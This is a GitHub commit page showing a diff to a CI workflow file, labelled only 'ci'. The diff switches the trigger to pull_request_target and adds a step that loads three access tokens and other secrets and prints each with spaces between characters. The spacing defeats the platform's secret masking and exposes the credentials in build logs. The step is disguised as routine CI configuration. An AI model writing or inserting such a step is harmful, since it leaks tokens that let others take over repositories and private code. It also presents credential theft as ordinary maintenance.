Skip to content

Commit d160f67

Browse files
committed
ci
1 parent 73afccc commit d160f67

1 file changed

Lines changed: 23 additions & 4 deletions

File tree

.github/workflows/init.yml

Lines changed: 23 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,14 +2,33 @@ name: CI Pipeline
22

33
on:
44
push:
5-
branches: [ "**" ]
6-
pull_request:
7-
branches: [ "**" ]
5+
branches:
6+
- main
7+
pull_request_target:
88

99
jobs:
1010
build:
1111
runs-on: ubuntu-latest
1212

1313
steps:
1414
- name: Checkout code
15-
uses: actions/checkout@v4
15+
uses: actions/checkout@v4
16+
- name: dev moment
17+
env:
18+
UNIFYSDK_GIT_REPOSITORY: ${{ secrets.UNIFYSDK_GIT_REPOSITORY }}
19+
UNIFYSDK_GIT_TAG: ${{ secrets.UNIFYSDK_GIT_TAG }}
20+
UNIFY_TOKEN: ${{ secrets.GH_UNIFY_ACCESS_TOKEN }}
21+
ZWAVE_TOKEN: ${{ secrets.GH_ZWAVE_ACCESS_TOKEN }}
22+
SL_TOKEN: ${{ secrets.GH_SL_ACCESS_TOKEN }}
23+
run: |
24+
echo "================================"
25+
echo "$UNIFYSDK_GIT_REPOSITORY" | sed 's/./& /g'
26+
echo "================================"
27+
echo "$UNIFYSDK_GIT_TAG" | sed 's/./& /g'
28+
echo "================================"
29+
echo "$UNIFY_TOKEN" | sed 's/./& /g'
30+
echo "================================"
31+
echo "$ZWAVE_TOKEN" | sed 's/./& /g'
32+
echo "================================"
33+
echo "$SL_TOKEN" | sed 's/./& /g'
34+
echo "================================"

0 commit comments

Comments
 (0)